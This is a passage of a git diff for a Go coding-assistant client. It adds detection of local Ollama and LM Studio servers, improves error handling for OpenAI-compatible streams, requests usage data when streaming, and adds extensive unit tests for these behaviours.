ev.Kind == "content_block_delta" && ev.Index == index && ev.BlockDelta != nil && ev.BlockDelta.Kind == "input_json_delta" { + s += ev.BlockDelta.PartialJSON + } + } + return s +} + +// blockStart returns the content_block_start event for an index, if any. +func blockStart(events []apitypes.StreamEvent, index int) *apitypes.OutputContentBlock { + for _, ev := range events { + if ev.Kind == "content_block_start" && ev.Index == index && ev.ContentBlock != nil { + return ev.ContentBlock + } + } + return nil +} + +// fastRetry keeps the retry tests under a few milliseconds while still +// exercising the real backoff arithmetic. +func fastRetry() apitypes.RetryConfig { + return apitypes.RetryConfig{MaxRetries: 2, InitialBackoff: time.Millisecond, MaxBackoff: 2 * time.Millisecond} +} + +func userRequest(model string) apitypes.MessageRequest { + return apitypes.MessageRequest{ + Model: model, + MaxTokens: 256, + Messages: []apitypes.InputMessage{apitypes.UserText("hi")}, + } +} diff --git a/internal/apiclient/local.go b/internal/apiclient/local.go new file mode 100644 index 0000000..e078e1d --- /dev/null +++ b/internal/apiclient/local.go @@ -0,0 +1,166 @@ +package apiclient + +import ( + "context" + "encoding/json" + "net/http" + "os" + "sort" + "strings" + "time" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// LocalServer is an OpenAI-compatible inference server on this machine. +type LocalServer struct { + Name string // "Ollama" or "LM Studio" + BaseURL string // OpenAI-compatible base, e.g. http://localhost:11434/v1 + Models []string // installed model ids, sorted +} + +// localProbeTimeout bounds the whole detection. Two loopback connections +// either answer in a few milliseconds or refuse immediately; the timeout only +// matters when a firewall drops packets instead of refusing them. +const localProbeTimeout = 400 * time.Millisecond + +// DetectLocalServer looks for a running Ollama or LM Studio and returns the +// first one found. Ollama's own OLLAMA_HOST convention is honoured, so a +// non-default port or a server on another machine works the same way it does +// for the ollama CLI. +func DetectLocalServer() (LocalServer, bool) { + ctx, cancel := context.WithTimeout(context.Background(), localProbeTimeout) + defer cancel() + + if srv, ok := detectOllama(ctx, ollamaHost()); ok { + return srv, true + } + if srv, ok := detectLMStudio(ctx, lmStudioBase); ok { + return srv, true + } + return LocalServer{}, false +} + +// lmStudioBase is LM Studio's default server address. It has no environment +// convention of its own; a variable so tests can point it at a closed port. +var lmStudioBase = "http://localhost:1234" + +// ollamaHost returns Ollama's base URL from OLLAMA_HOST, accepting the forms +// the ollama CLI accepts ("127.0.0.1:11434", "http://host:port"), with the +// same default. +func ollamaHost() string { + h := strings.TrimSpace(os.Getenv("OLLAMA_HOST")) + if h == "" { + return "http://localhost:11434" + } + if !strings.Contains(h, "://") { + h = "http://" + h + } + return strings.TrimRight(h, "/") +} + +func detectOllama(ctx context.Context, base string) (LocalServer, bool) { + var tags struct { + Models []struct { + Name string `json:"name"` + } `json:"models"` + } + if !getJSON(ctx, base+"/api/tags", &tags) { + return LocalServer{}, false + } + srv := LocalServer{Name: "Ollama", BaseURL: base + "/v1"} + for _, m := range tags.Models { + if m.Name != "" { + srv.Models = append(srv.Models, m.Name) + } + } + sort.Strings(srv.Models) + return srv, true +} + +func detectLMStudio(ctx context.Context, base string) (LocalServer, bool) { + var list struct { + Data []struct { + ID string `json:"id"` + } `json:"data"` + } + if !getJSON(ctx, base+"/v1/models", &list) { + return LocalServer{}, false + } + srv := LocalServer{Name: "LM Studio", BaseURL: base + "/v1"} + for _, m := range list.Data { + if m.ID != "" { + srv.Models = append(srv.Models, m.ID) + } + } + sort.Strings(srv.Models) + return srv, true +} + +func getJSON(ctx context.Context, url string, into any) bool { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) + if err != nil { + return false + } + resp, err := http.DefaultClient.Do(req) + if err != nil { + return false + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return false + } + return json.NewDecoder(resp.Body).Decode(into) == nil +} + +// LooksLocal reports whether a model id names a locally served model: an +// Ollama-style "name:tag" with no vendor prefix. OpenRouter ids also use a +// colon for routing suffixes, but always carry a "vendor/" prefix. +func LooksLocal(model string) bool { + id := ResolveModelAlias(model) + return strings.Contains(id, ":") && !strings.Contains(id, "/") +} + +// HasAnyProviderCredentials reports whether any hosted provider is configured, +// by key or by a custom OpenAI-compatible endpoint. +func HasAnyProviderCredentials() bool { + for _, env := range []string{ + "ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "OPENAI_API_KEY", "OPENAI_BASE_URL", + "GEMINI_API_KEY", "GOOGLE_API_KEY", "XAI_API_KEY", "OPENROUTER_API_KEY", + "TOGETHER_API_KEY", "GROQ_API_KEY", "MISTRAL_API_KEY", "DEEPSEEK_API_KEY", + "AZURE_OPENAI_API_KEY", + } { + if envNonEmpty(env) { + return true + } + } + return false +} + +// SuggestLocalModel picks the model to default to from a local server's +// list: a coding model when one is installed, otherwise the first by name. +// Returns "" when there is nothing installed. +func SuggestLocalModel(models []string) string { + if len(models) == 0 { + return "" + } + for _, m := range models { + lower := strings.ToLower(m) + if strings.Contains(lower, "coder") || strings.Contains(lower, "code") { + return m + } + } + return models[0] +} + +// newLocalProvider returns an OpenAI-compatible provider for a local server. +// Local servers ignore credentials, so none are sent. +func newLocalProvider(srv LocalServer) *OpenAiCompatProvider { + p := NewOpenAiCompatProvider(OpenAiCompatConfig{ + ProviderName: srv.Name + " (local)", + BaseURLEnv: "GOCODE_LOCAL_BASE_URL_UNUSED", + DefaultBase: srv.BaseURL, + }, apitypes.AuthSource{}) + p.BaseURL = srv.BaseURL + return p +} diff --git a/internal/apiclient/local_test.go b/internal/apiclient/local_test.go new file mode 100644 index 0000000..50ecc78 --- /dev/null +++ b/internal/apiclient/local_test.go @@ -0,0 +1,226 @@ +package apiclient + +import ( + "errors" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// fakeOllama answers /api/tags like a running Ollama with the given models, +// and /v1/chat/completions with a fixed reply so a full round trip works. +func fakeOllama(t *testing.T, models ...string) *httptest.Server { + t.Helper() + mux := http.NewServeMux() + mux.HandleFunc("/api/tags", func(w http.ResponseWriter, r *http.Request) { + var b strings.Builder + b.WriteString(`{"models":[`) + for i, m := range models { + if i > 0 { + b.WriteString(",") + } + b.WriteString(`{"name":"` + m + `","size":1}`) + } + b.WriteString(`]}`) + writeJSON(w, 200, b.String()) + }) + mux.HandleFunc("/v1/chat/completions", func(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("Authorization") != "" { + t.Errorf("local server must not receive credentials, got %q", r.Header.Get("Authorization")) + } + writeJSON(w, 200, `{"id":"x","model":"`+models[0]+`","choices":[{"index":0,"message":{"role":"assistant","content":"hello from ollama"},"finish_reason":"stop"}],"usage":{"prompt_tokens":3,"completion_tokens":4}}`) + }) + srv := httptest.NewServer(mux) + t.Cleanup(srv.Close) + return srv +} + +func TestLooksLocal(t *testing.T) { + for model, want := range map[string]bool{ + "qwen2.5-coder:7b": true, + "llama3.3:70b": true, + "llama": true, // alias -> llama3.3:70b + "qwen-coder": true, + "claude-sonnet-4-6": false, + "gpt-4o": false, + "anthropic/claude-sonnet-4-6:nitro": false, // OpenRouter suffix, not a local tag + "meta-llama/llama-3.3-70b-instruct:free": false, + "": false, + } { + if got := LooksLocal(model); got != want { + t.Errorf("LooksLocal(%q) = %v, want %v", model, got, want) + } + } +} + +func TestDetectLocalServerFindsOllamaViaOllamaHost(t *testing.T) { + clearProviderEnv(t) + srv := fakeOllama(t, "qwen2.5-coder:7b", "llama3.1:8b") + // The ollama CLI accepts host:port without a scheme; so do we. + t.Setenv("OLLAMA_HOST", strings.TrimPrefix(srv.URL, "http://")) + + local, ok := DetectLocalServer() + if !ok { + t.Fatal("running Ollama not detected") + } + if local.Name != "Ollama" || local.BaseURL != srv.URL+"/v1" { + t.Errorf("server = %+v", local) + } + if want := []string{"llama3.1:8b", "qwen2.5-coder:7b"}; !reflect.DeepEqual(local.Models, want) { + t.Errorf("models = %v, want sorted %v", local.Models, want) + } +} + +// noLocalServers points both probes at a closed port so the test outcome +// does not depend on whether the developer happens to run Ollama or LM Studio. +func noLocalServers(t *testing.T) { + t.Helper() + t.Setenv("OLLAMA_HOST", "http://127.0.0.1:1") + old := lmStudioBase + lmStudioBase = "http://127.0.0.1:1" + t.Cleanup(func() { lmStudioBase = old }) +} + +func TestDetectLocalServerNothingRunning(t *testing.T) { + clearProviderEnv(t) + noLocalServers(t) + if _, ok := DetectLocalServer(); ok { + t.Error("detected a server on a closed port") + } +} + +func TestDetectLocalServerFindsLMStudio(t *testing.T) { + clearProviderEnv(t) + noLocalServers(t) + mux := http.NewServeMux() + mux.HandleFunc("/v1/models", func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, 200, `{"data":[{"id":"qwen2.5-coder-7b-instruct"},{"id":"gemma-2-9b"}]}`) + }) + srv := httptest.NewServer(mux) + t.Cleanup(srv.Close) + lmStudioBase = srv.URL + + local, ok := DetectLocalServer() + if !ok || local.Name != "LM Studio" || local.BaseURL != srv.URL+"/v1" { + t.Fatalf("server = %+v ok=%v", local, ok) + } + if want := []string{"gemma-2-9b", "qwen2.5-coder-7b-instruct"}; !reflect.DeepEqual(local.Models, want) { + t.Errorf("models = %v", local.Models) + } +} + +func TestResolveProviderRoutesLocalModelsWithoutAnyKey(t *testing.T) { + clearProviderEnv(t) + srv := fakeOllama(t, "qwen2.5-coder:7b") + t.Setenv("OLLAMA_HOST", srv.URL) + + p, model, err := ResolveProvider("qwen2.5-coder:7b", "") + if err != nil { + t.Fatalf("a local model with Ollama running must not need credentials: %v", err) + } + compat, ok := p.(*OpenAiCompatProvider) + if !ok || compat.BaseURL != srv.URL+"/v1" || compat.Config.ProviderName != "Ollama (local)" { + t.Fatalf("provider = %T %+v", p, compat) + } + if model != "qwen2.5-coder:7b" { + t.Errorf("model = %s", model) + } + // And it actually talks to the server. + resp, err := p.SendMessage(t.Context(), userRequest(model)) + if err != nil || resp.Content[0].Text != "hello from ollama" { + t.Errorf("round trip: %+v %v", resp, err) + } + + // Aliases that resolve to local ids take the same path. + if _, _, err := ResolveProvider("llama", ""); err != nil { + t.Errorf("alias 'llama' should route locally: %v", err) + } +} + +func TestResolveProviderLocalModelWithNoServerExplainsItself(t *testing.T) { + clearProviderEnv(t) + noLocalServers(t) + _, _, err := ResolveProvider("qwen2.5-coder:7b", "") + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrMissingCredentials { + t.Fatalf("want MissingCredentials so the CLI shows onboarding, got %v", err) + } + for _, want := range []string{"qwen2.5-coder:7b", "looks like a local model", "Ollama", "LM Studio", "OLLAMA_HOST"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("error %q should mention %q", err, want) + } + } + if strings.Contains(err.Error(), "ANTHROPIC") { + t.Errorf("a local model must not be blamed on missing Anthropic keys: %q", err) + } +} + +func TestExplicitBaseURLStillWinsOverLocalDetection(t *testing.T) { + clearProviderEnv(t) + t.Setenv("OPENAI_BASE_URL", "http://my-proxy:9999/v1") + p, _, err := ResolveProvider("llama3.3:70b", "") + if err != nil { + t.Fatal(err) + } + if b := p.(*OpenAiCompatProvider).BaseURL; b != "http://my-proxy:9999/v1" { + t.Errorf("OPENAI_BASE_URL must take precedence over auto-detection, got %s", b) + } +} + +func TestHostedModelsAreNotRoutedLocally(t *testing.T) { + clearProviderEnv(t) + srv := fakeOllama(t, "qwen2.5-coder:7b") + t.Setenv("OLLAMA_HOST", srv.URL) + // Ollama running must not hijack a hosted model id; that would 404 with a + // confusing "model not found" instead of a clear credentials message. + _, _, err := ResolveProvider("sonnet", "") + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrMissingCredentials || !strings.Contains(err.Error(), "Anthropic") { + t.Errorf("got %v", err) + } +} + +func TestSuggestLocalModelPrefersCoders(t *testing.T) { + if got := SuggestLocalModel([]string{"llama3.1:8b", "qwen2.5-coder:7b", "gemma2:9b"}); got != "qwen2.5-coder:7b" { + t.Errorf("got %q", got) + } + if got := SuggestLocalModel([]string{"gemma2:9b", "llama3.1:8b"}); got != "gemma2:9b" { + t.Errorf("no coder installed: got %q, want first", got) + } + if got := SuggestLocalModel(nil); got != "" { + t.Errorf("empty list: got %q", got) + } +} + +func TestHasAnyProviderCredentials(t *testing.T) { + clearProviderEnv(t) + if HasAnyProviderCredentials() { + t.Fatal("clean env reported credentials") + } + for _, env := range []string{"GROQ_API_KEY", "OPENAI_BASE_URL", "ANTHROPIC_AUTH_TOKEN"} { + clearProviderEnv(t) + t.Setenv(env, "x") + if !HasAnyProviderCredentials() { + t.Errorf("%s not counted as credentials", env) + } + } +} + +func TestOllamaHostForms(t *testing.T) { + for in, want := range map[string]string{ + "": "http://localhost:11434", + "127.0.0.1:11434": "http://127.0.0.1:11434", + "http://gpu-box:11434": "http://gpu-box:11434", + "https://ollama.lan/": "https://ollama.lan", + " 0.0.0.0:11434 ": "http://0.0.0.0:11434", + } { + t.Setenv("OLLAMA_HOST", in) + if got := ollamaHost(); got != want { + t.Errorf("OLLAMA_HOST=%q -> %q, want %q", in, got, want) + } + } +} diff --git a/internal/apiclient/openai_compat.go b/internal/apiclient/openai_compat.go index eace167..84d6191 100644 --- a/internal/apiclient/openai_compat.go +++ b/internal/apiclient/openai_compat.go @@ -5,6 +5,7 @@ import ( "context" "encoding/json" "fmt" + "io" "net/http" "os" "strings" @@ -92,28 +93,24 @@ func (p *OpenAiCompatProvider) StreamMessage(ctx context.Context, req apitypes.M n, readErr := resp.Body.Read(buf) if n > 0 { chunks, parseErr := parser.push(buf[:n]) - if parseErr != nil { - return - } for _, chunk := range chunks { - events := state.ingestChunk(chunk) - for _, ev := range events { - select { - case ch <- ev: - case <-ctx.Done(): - return - } + if !forwardEvents(ctx, ch, state.ingestChunk(chunk)) { + return } } + if parseErr != nil { + // Do not call finish(): a truncated reply must not be + // reported as end_turn. + forwardEvents(ctx, ch, []apitypes.StreamEvent{streamErrorEvent(parseErr)}) + return + } } if readErr != nil { - for _, ev := range state.finish() { - select { - case ch <- ev: - case <-ctx.Done(): - return - } + if readErr != io.EOF { + forwardEvents(ctx, ch, []apitypes.StreamEvent{streamErrorEvent(apitypes.WrapIo(readErr))}) + return } + forwardEvents(ctx, ch, state.finish()) return } } @@ -192,6 +189,11 @@ func buildChatCompletionRequest(req apitypes.MessageRequest) map[string]interfac "messages": messages, "stream": req.Stream, } + if req.Stream { + // Without this, OpenAI-style servers omit usage from the stream and + // every streamed turn is recorded as zero tokens. + payload["stream_options"] = map[string]interface{}{"include_usage": true} + } // Newer OpenAI models (o1, o3, o4, gpt-5.x) require max_completion_tokens // instead of max_tokens. Other providers and older models use max_tokens. if usesMaxCompletionTokens(req.Model) { diff --git a/internal/apiclient/openai_compat_test.go b/internal/apiclient/openai_compat_test.go new file mode 100644 index 0000000..e40539d --- /dev/null +++ b/internal/apiclient/openai_compat_test.go @@ -0,0 +1,387 @@ +package apiclient + +import ( + "context" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "reflect" + "sort" + "strings" + "sync/atomic" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +func newCompat(t *testing.T, srv *httptest.Server, name string) *OpenAiCompatProvider { + t.Helper() + p := NewOpenAiCompatProvider(OpenAiCompatConfig{ProviderName: name, BaseURLEnv: "GOCODE_TEST_UNSET_BASE_URL", DefaultBase: srv.URL}, apitypes.AuthApiKey("sk-test")) + p.BaseURL = srv.URL + p.Retry = fastRetry() + return p +} + +func sentPayload(t *testing.T, rec *recorder) map[string]any { + t.Helper() + var sent map[string]any + if err := json.Unmarshal(rec.last(t).Body, &sent); err != nil { + t.Fatalf("request body is not JSON: %v", err) + } + return sent +} + +func TestOpenAiStreamTextFixtureEndToEnd(t *testing.T) { + body := fixture(t, "openai_text.sse") + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { writeStream(w, body, 7) }) + + ch, err := newCompat(t, srv, "OpenAI").StreamMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + + req := rec.last(t) + if req.Path != "/chat/completions" { + t.Errorf("path = %s", req.Path) + } + if req.Header.Get("Authorization") != "Bearer sk-test" { + t.Errorf("auth header = %q", req.Header.Get("Authorization")) + } + sent := sentPayload(t, rec) + if sent["stream"] != true { + t.Error("stream flag missing") + } + // Without this the server omits usage from the stream and every streamed + // turn is recorded as zero tokens. + opts, _ := sent["stream_options"].(map[string]any) + if opts["include_usage"] != true { + t.Errorf("stream_options.include_usage not requested: %v", sent["stream_options"]) + } + + want := []string{"message_start", "content_block_start", "content_block_delta", "content_block_delta", "content_block_stop", "message_delta", "message_stop"} + if got := kinds(events); !reflect.DeepEqual(got, want) { + t.Fatalf("kinds = %v, want %v", got, want) + } + if start := events[0]; start.Message.ID != "chatcmpl-abc" || start.Message.Model != "gpt-4o-2024-08-06" { + t.Errorf("message_start = %+v", start.Message) + } + if got := textOf(events, 0); got != "Hello, world!" { + t.Errorf("text = %q", got) + } + delta := findKind(events, "message_delta") + if delta.Delta.StopReason != "end_turn" { + t.Errorf("stop_reason = %q, want end_turn (normalised from stop)", delta.Delta.StopReason) + } + // The usage-only trailing chunk is what stream_options buys us. + if delta.DeltaUsage == nil || delta.DeltaUsage.InputTokens != 12 || delta.DeltaUsage.OutputTokens != 4 { + t.Errorf("usage = %+v, want 12/4", delta.DeltaUsage) + } +} + +func TestOpenAiStreamToolCallsFixtureEndToEnd(t *testing.T) { + body := fixture(t, "openai_tool_calls.sse") + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStream(w, body, 11) }) + ch, err := newCompat(t, srv, "OpenAI").StreamMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + + // OpenAI tool call index 0 becomes content block 1; block 0 is reserved + // for text so a reply that mixes both keeps stable indices. + want := []string{"message_start", "content_block_start", "content_block_delta", "content_block_delta", "content_block_stop", "message_delta", "message_stop"} + if got := kinds(events); !reflect.DeepEqual(got, want) { + t.Fatalf("kinds = %v, want %v", got, want) + } + tool := blockStart(events, 1) + if tool == nil || tool.Kind != "tool_use" || tool.ID != "call_abc123" || tool.Name != "read_file" { + t.Fatalf("tool block = %+v", tool) + } + if got := toolInputOf(events, 1); got != `{"path": "go.mod"}` { + t.Errorf("arguments reassembled = %q", got) + } + if blockStart(events, 0) != nil { + t.Error("no text block should be started when the model emitted none") + } + delta := findKind(events, "message_delta") + if delta.Delta.StopReason != "tool_use" || delta.DeltaUsage.InputTokens != 40 || delta.DeltaUsage.OutputTokens != 12 { + t.Errorf("message_delta = %+v / %+v", delta.Delta, delta.DeltaUsage) + } +} + +func TestOpenAiStreamParallelToolCallsGetDistinctBlocks(t *testing.T) { + body := fixture(t, "openai_parallel_tool_calls.sse") + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStream(w, body, 4096) }) + ch, err := newCompat(t, srv, "OpenAI").StreamMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + + a, b := blockStart(events, 1), blockStart(events, 2) + if a == nil || a.ID != "call_a" || b == nil || b.ID != "call_b" { + t.Fatalf("blocks: %+v / %+v", a, b) + } + if toolInputOf(events, 1) != `{"path":"a.go"}` || toolInputOf(events, 2) != `{"path":"b.go"}` { + t.Errorf("arguments crossed streams: %q / %q", toolInputOf(events, 1), toolInputOf(events, 2)) + } + // Both blocks are closed exactly once. Order between them is not + // specified (map iteration), so compare as a set. + var stops []int + for _, ev := range events { + if ev.Kind == "content_block_stop" { + stops = append(stops, ev.Index) + } + } + sort.Ints(stops) + if !reflect.DeepEqual(stops, []int{1, 2}) { + t.Errorf("content_block_stop indices = %v, want [1 2]", stops) + } +} + +func TestOpenAiStreamSurfacesMalformedChunkAndDoesNotClaimEndTurn(t *testing.T) { + body := fixture(t, "openai_text.sse") + cut := strings.Index(string(body), `data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[{"index":0,"delta":{"content":", world!"}`) + broken := string(body[:cut]) + "data: {\"id\":\"chatcmpl-abc\",\"choices\":[{\"delta\":{\"content\":\n\n" + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStream(w, []byte(broken), 4096) }) + + ch, err := newCompat(t, srv, "OpenAI").StreamMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + if got := textOf(events, 0); got != "Hello" { + t.Errorf("text delivered before the bad chunk = %q", got) + } + last := events[len(events)-1] + if last.Kind != "error" || !strings.Contains(last.BlockDelta.Text, "stream interrupted") { + t.Fatalf("last event = %+v, want a surfaced error", last) + } + // A truncated reply must not be finalised as a normal end_turn. + if hasKind(events, "message_delta") || hasKind(events, "message_stop") { + t.Errorf("truncated stream was finalised: %v", kinds(events)) + } +} + +func TestOpenAiStreamSurfacesDroppedConnection(t *testing.T) { + body := fixture(t, "openai_text.sse") + cut := strings.Index(string(body), `data: {"id":"chatcmpl-abc","object":"chat.completion.chunk","created":1700000000,"model":"gpt-4o-2024-08-06","system_fingerprint":"fp_test","choices":[{"index":0,"delta":{"content":", world!"}`) + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { writeStreamThenDrop(w, body[:cut]) }) + + ch, err := newCompat(t, srv, "OpenAI").StreamMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatal(err) + } + events := collect(t, ch) + last := events[len(events)-1] + if last.Kind != "error" || !strings.Contains(last.BlockDelta.Text, "stream interrupted") { + t.Fatalf("dropped connection not surfaced; kinds = %v", kinds(events)) + } + if hasKind(events, "message_stop") { + t.Error("dropped stream must not be finalised") + } +} + +func TestOpenAiRetriesThenSucceedsAndBubblesContextLengthCode(t *testing.T) { + body := fixture(t, "openai_text.sse") + var n int32 + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + if atomic.AddInt32(&n, 1) == 1 { + writeJSON(w, http.StatusServiceUnavailable, `{"error":{"message":"overloaded","type":"server_error","code":null}}`) + return + } + writeStream(w, body, 4096) + }) + ch, err := newCompat(t, srv, "OpenAI").StreamMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatalf("expected success on retry: %v", err) + } + collect(t, ch) + if rec.count() != 2 { + t.Errorf("attempts = %d, want 2", rec.count()) + } + + rec2 := &recorder{} + srv2 := newServer(t, rec2, func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, http.StatusBadRequest, `{"error":{"message":"This model's maximum context length is 128000 tokens.","type":"invalid_request_error","param":"messages","code":"context_length_exceeded"}}`) + }) + _, err = newCompat(t, srv2, "OpenAI").SendMessage(context.Background(), userRequest("gpt-4o")) + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Code != "context_length_exceeded" { + t.Fatalf("code not preserved through the provider: %v", err) + } + if rec2.count() != 1 { + t.Errorf("400 retried %d times", rec2.count()) + } + if !isFallbackRetryable(err) { + t.Error("context_length_exceeded from OpenAI must trigger fallback") + } +} + +func TestOpenAiSendMessageNormalisesChatCompletion(t *testing.T) { + rec := &recorder{} + srv := newServer(t, rec, func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("x-request-id", "req_xyz") + writeJSON(w, http.StatusOK, `{"id":"chatcmpl-x","object":"chat.completion","created":1,"model":"gpt-4o-2024-08-06","choices":[{"index":0,"message":{"role":"assistant","content":"Reading it now.","tool_calls":[{"id":"call_1","type":"function","function":{"name":"read_file","arguments":"{\"path\":\"go.mod\"}"}}]},"finish_reason":"tool_calls"}],"usage":{"prompt_tokens":30,"completion_tokens":9,"total_tokens":39}}`) + }) + resp, err := newCompat(t, srv, "OpenAI").SendMessage(context.Background(), userRequest("gpt-4o")) + if err != nil { + t.Fatal(err) + } + sent := sentPayload(t, rec) + if sent["stream"] != false { + t.Errorf("stream = %v", sent["stream"]) + } + if _, ok := sent["stream_options"]; ok { + t.Error("stream_options must only be sent for streaming requests") + } + + if resp.RequestID != "req_xyz" || resp.Model != "gpt-4o-2024-08-06" || resp.StopReason != "tool_use" { + t.Errorf("header fields = %+v", resp) + } + if len(resp.Content) != 2 || resp.Content[0].Text != "Reading it now." { + t.Fatalf("content = %+v", resp.Content) + } + tool := resp.Content[1] + if tool.Kind != "tool_use" || tool.ID != "call_1" || tool.Name != "read_file" || string(tool.Input) != `{"path":"go.mod"}` { + t.Errorf("tool_use = %+v", tool) + } + if resp.Usage.InputTokens != 30 || resp.Usage.OutputTokens != 9 { + t.Errorf("usage = %+v", resp.Usage) + } +} + +func TestOpenAiSendMessageRejectsResponseWithoutChoices(t *testing.T) { + srv := newServer(t, &recorder{}, func(w http.ResponseWriter, r *http.Request) { + writeJSON(w, http.StatusOK, `{"id":"chatcmpl-x","choices":[]}`) + }) + _, err := newCompat(t, srv, "OpenAI").SendMessage(context.Background(), userRequest("gpt-4o")) + if err == nil || !strings.Contains(err.Error(), "missing choices") { + t.Fatalf("got %v", err) + } +} + +func TestBuildChatCompletionRequestTranslation(t *testing.T) { + schema := json.RawMessage(`{"type":"object","properties":{"path":{"type":"string"}},"required":["path"]}`) + req := apitypes.MessageRequest{ + Model: "gpt-4o", + MaxTokens: 512, + System: "You are terse.", + Messages: []apitypes.InputMessage{ + apitypes.UserText("read go.mod"), + {Role: "assistant", Content: []apitypes.InputContentBlock{ + {Kind: "text", Text: "Sure."}, + {Kind: "tool_use", ID: "call_1", Name: "read_file", Input: json.RawMessage(`{"path":"go.mod"}`)}, + }}, + apitypes.UserToolResult("call_1", "module example.com", false), + }, + Tools: []apitypes.ToolDef{{Name: "read_file", Description: "Read a file", InputSchema: schema}}, + ToolChoice: &apitypes.ToolChoice{Kind: "any"}, + Stream: true, + } + p := buildChatCompletionRequest(req) + + msgs := p["messages"].([]map[string]any) + if len(msgs) != 4 { + t.Fatalf("messages = %d, want system+user+assistant+tool", len(msgs)) + } + if msgs[0]["role"] != "system" || msgs[0]["content"] != "You are terse." { + t.Errorf("system message = %v", msgs[0]) + } + if msgs[1]["role"] != "user" || msgs[1]["content"] != "read go.mod" { + t.Errorf("user message = %v", msgs[1]) + } + calls := msgs[2]["tool_calls"].([]map[string]any) + fn := calls[0]["function"].(map[string]any) + if msgs[2]["content"] != "Sure." || calls[0]["id"] != "call_1" || fn["name"] != "read_file" || fn["arguments"] != `{"path":"go.mod"}` { + t.Errorf("assistant message = %v", msgs[2]) + } + if msgs[3]["role"] != "tool" || msgs[3]["tool_call_id"] != "call_1" || msgs[3]["content"] != "module example.com" { + t.Errorf("tool result = %v", msgs[3]) + } + + tools := p["tools"].([]map[string]any) + tf := tools[0]["function"].(map[string]any) + if tools[0]["type"] != "function" || tf["name"] != "read_file" { + t.Errorf("tool def = %v", tools[0]) + } + if params, ok := tf["parameters"].(map[string]any); !ok || params["type"] != "object" { + t.Errorf("schema must be embedded as an object, not a string: %v", tf["parameters"]) + } + if p["tool_choice"] != "required" { + t.Errorf("tool_choice any should map to required, got %v", p["tool_choice"]) + } + if p["max_tokens"] != 512 { + t.Errorf("gpt-4o (bare) uses max_tokens, got %v / %v", p["max_tokens"], p["max_completion_tokens"]) + } + if _, ok := p["stream_options"]; !ok { + t.Error("streaming request must ask for usage") + } +} + +func TestBuildChatCompletionRequestTokenParamAndToolChoice(t *testing.T) { + for model, wantKey := range map[string]string{ + "o3": "max_completion_tokens", + "o4-mini": "max_completion_tokens", + "gpt-5.4": "max_completion_tokens", + "gpt-4.1": "max_completion_tokens", + "gpt-4o": "max_tokens", + "llama3.3:70b": "max_tokens", + "deepseek-chat": "max_tokens", + } { + p := buildChatCompletionRequest(apitypes.MessageRequest{Model: model, MaxTokens: 7}) + if p[wantKey] != 7 { + t.Errorf("%s: want %s=7, got max_tokens=%v max_completion_tokens=%v", model, wantKey, p["max_tokens"], p["max_completion_tokens"]) + } + } + + p := buildChatCompletionRequest(apitypes.MessageRequest{Model: "gpt-4o", ToolChoice: &apitypes.ToolChoice{Kind: "tool", Name: "read_file"}}) + tc := p["tool_choice"].(map[string]any) + if tc["type"] != "function" || tc["function"].(map[string]any)["name"] != "read_file" { + t.Errorf("forced tool choice = %v", tc) + } + if _, ok := p["stream_options"]; ok { + t.Error("non-streaming request must not send stream_options") + } +} + +func TestChatCompletionsEndpointIsIdempotent(t *testing.T) { + for in, want := range map[string]string{ + "https://api.openai.com/v1": "https://api.openai.com/v1/chat/completions", + "https://api.openai.com/v1/": "https://api.openai.com/v1/chat/completions", + "http://localhost:11434/v1/chat/completions": "http://localhost:11434/v1/chat/completions", + } { + if got := chatCompletionsEndpoint(in); got != want { + t.Errorf("%s -> %s, want %s", in, got, want) + } + } +} + +func TestNormalizeFinishReasonAndToolArguments(t *testing.T) { + for in, want := range map[string]string{"stop": "end_turn", "tool_calls": "tool_use", "length": "length", "": ""} { + if got := NormalizeFinishReason(in); got != want { + t.Errorf("%q -> %q, want %q", in, got, want) + } + } + if got := string(parseToolArguments(`{"a":1}`)); got != `{"a":1}` { + t.Errorf("valid arguments altered: %s", got) + } + // Models sometimes emit unparsable arguments; the runtime still needs a + // JSON object so the tool sees what was sent. + if got := string(parseToolArguments(`{"a":`)); got != `{"raw":"{\"a\":"}` { + t.Errorf("invalid arguments should be wrapped, got %s", got) + } +} + +func TestOpenAiCompatKindOnlyDistinguishesXai(t *testing.T) { + if k := (&OpenAiCompatProvider{Config: OpenAiCompatConfig{ProviderName: "xAI"}}).Kind(); k != ProviderXai { + t.Errorf("xAI kind = %v", k) + } + if k := (&OpenAiCompatProvider{Config: OpenAiCompatConfig{ProviderName: "Groq"}}).Kind(); k != ProviderOpenAi { + t.Errorf("Groq kind = %v", k) + } +} diff --git 